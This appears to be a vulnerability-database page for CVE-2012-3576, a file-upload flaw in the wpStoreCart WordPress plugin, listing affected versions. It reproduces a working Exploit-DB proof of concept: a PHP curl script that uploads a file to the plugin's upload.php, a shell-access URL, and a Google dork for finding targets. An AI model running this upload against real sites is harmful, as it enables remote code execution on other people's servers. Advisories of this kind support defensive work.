VIR Vulnerability Intelligence Relay

CVE-2012-3576

critical
Published 2012-06-16 · Modified 2026-04-29
💬 Discuss on Community ✚ Propose mitigation
CVSS v3
—
CVSS v4 NEW
—
not yet in upstream
VIR risk
10.0

Description

Unrestricted file upload vulnerability in php/upload.php in the wpStoreCart plugin before 2.5.30 for WordPress allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in uploads/wpstorecart.

Predictions

Exploit likelihood
20%
Patch ETA
—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-19023 webapps php verified text · 1 KB
Sammy FORGIT · 2012-06-08

WordPress Plugin wpStoreCart 2.5.27-2.5.29 - Arbitrary File Upload

text exploit Source: Exploit-DB 
##################################################
# Description : Wordpress Plugins - wpStoreCart Arbitrary File Upload 
Vulnerability
# Version : 2.5.27 - 2.5.29
# Link : http://wordpress.org/extend/plugins/wpstorecart/
# Plugins : http://downloads.wordpress.org/plugin/wpstorecart.2.5.29.zip
# Date : 03-06-2012
# Google Dork : inurl:/wp-content/plugins/wpstorecart/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/wpstorecart/php/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/uploads/wpstorecart/lo.php

lo.php
<?php
phpinfo();
?>

Application impact
VendorProductVersionsFixed
jquindlenwpstorecart{"endIncluding":"2.5.29"}
jquindlenwpstorecart0.62
jquindlenwpstorecart1.0.0
jquindlenwpstorecart2.0.0
jquindlenwpstorecart2.0.1
jquindlenwpstorecart2.0.2
jquindlenwpstorecart2.0.3
jquindlenwpstorecart2.0.4
jquindlenwpstorecart2.0.5
jquindlenwpstorecart2.0.6
jquindlenwpstorecart2.0.7
jquindlenwpstorecart2.0.8
jquindlenwpstorecart2.0.9
jquindlenwpstorecart2.0.10
jquindlenwpstorecart2.0.11
jquindlenwpstorecart2.0.12
jquindlenwpstorecart2.0.13
jquindlenwpstorecart2.1.0
jquindlenwpstorecart2.1.1
jquindlenwpstorecart2.1.2
jquindlenwpstorecart2.1.3
jquindlenwpstorecart2.1.4
jquindlenwpstorecart2.1.5
jquindlenwpstorecart2.1.6
jquindlenwpstorecart2.1.7
jquindlenwpstorecart2.1.8
jquindlenwpstorecart2.2.0
jquindlenwpstorecart2.2.1
jquindlenwpstorecart2.2.2
jquindlenwpstorecart2.2.3
jquindlenwpstorecart2.2.4
jquindlenwpstorecart2.2.5
jquindlenwpstorecart2.2.6
jquindlenwpstorecart2.2.7
jquindlenwpstorecart2.2.8
jquindlenwpstorecart2.2.9
jquindlenwpstorecart2.3.0
jquindlenwpstorecart2.3.1
jquindlenwpstorecart2.3.2
jquindlenwpstorecart2.3.3
jquindlenwpstorecart2.3.4
jquindlenwpstorecart2.3.5
jquindlenwpstorecart2.3.6
jquindlenwpstorecart2.3.7
jquindlenwpstorecart2.3.8
jquindlenwpstorecart2.3.9
jquindlenwpstorecart2.3.10
jquindlenwpstorecart2.3.11
jquindlenwpstorecart2.3.12
jquindlenwpstorecart2.3.13
jquindlenwpstorecart2.3.14
jquindlenwpstorecart2.3.15
jquindlenwpstorecart2.3.16
jquindlenwpstorecart2.3.17
jquindlenwpstorecart2.4.0
jquindlenwpstorecart2.4.1
jquindlenwpstorecart2.4.2
jquindlenwpstorecart2.4.3
jquindlenwpstorecart2.4.4
jquindlenwpstorecart2.4.5
jquindlenwpstorecart2.4.6
jquindlenwpstorecart2.4.7
jquindlenwpstorecart2.4.8
jquindlenwpstorecart2.4.9
jquindlenwpstorecart2.4.10
jquindlenwpstorecart2.4.11
jquindlenwpstorecart2.4.12
jquindlenwpstorecart2.4.13
jquindlenwpstorecart2.4.14
jquindlenwpstorecart2.5.0
jquindlenwpstorecart2.5.1
jquindlenwpstorecart2.5.2
jquindlenwpstorecart2.5.3
jquindlenwpstorecart2.5.4
jquindlenwpstorecart2.5.5
jquindlenwpstorecart2.5.6
jquindlenwpstorecart2.5.7
jquindlenwpstorecart2.5.8
jquindlenwpstorecart2.5.9
jquindlenwpstorecart2.5.10
jquindlenwpstorecart2.5.11
jquindlenwpstorecart2.5.12
jquindlenwpstorecart2.5.13
jquindlenwpstorecart2.5.14
jquindlenwpstorecart2.5.15
jquindlenwpstorecart2.5.16
jquindlenwpstorecart2.5.17
jquindlenwpstorecart2.5.18
jquindlenwpstorecart2.5.19
jquindlenwpstorecart2.5.20
jquindlenwpstorecart2.5.21
jquindlenwpstorecart2.5.22
jquindlenwpstorecart2.5.23
jquindlenwpstorecart2.5.24
jquindlenwpstorecart2.5.25
jquindlenwpstorecart2.5.26
jquindlenwpstorecart2.5.27
jquindlenwpstorecart2.5.28
wordpress wordpresswordpress-

References

CWEs

CWE-264

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.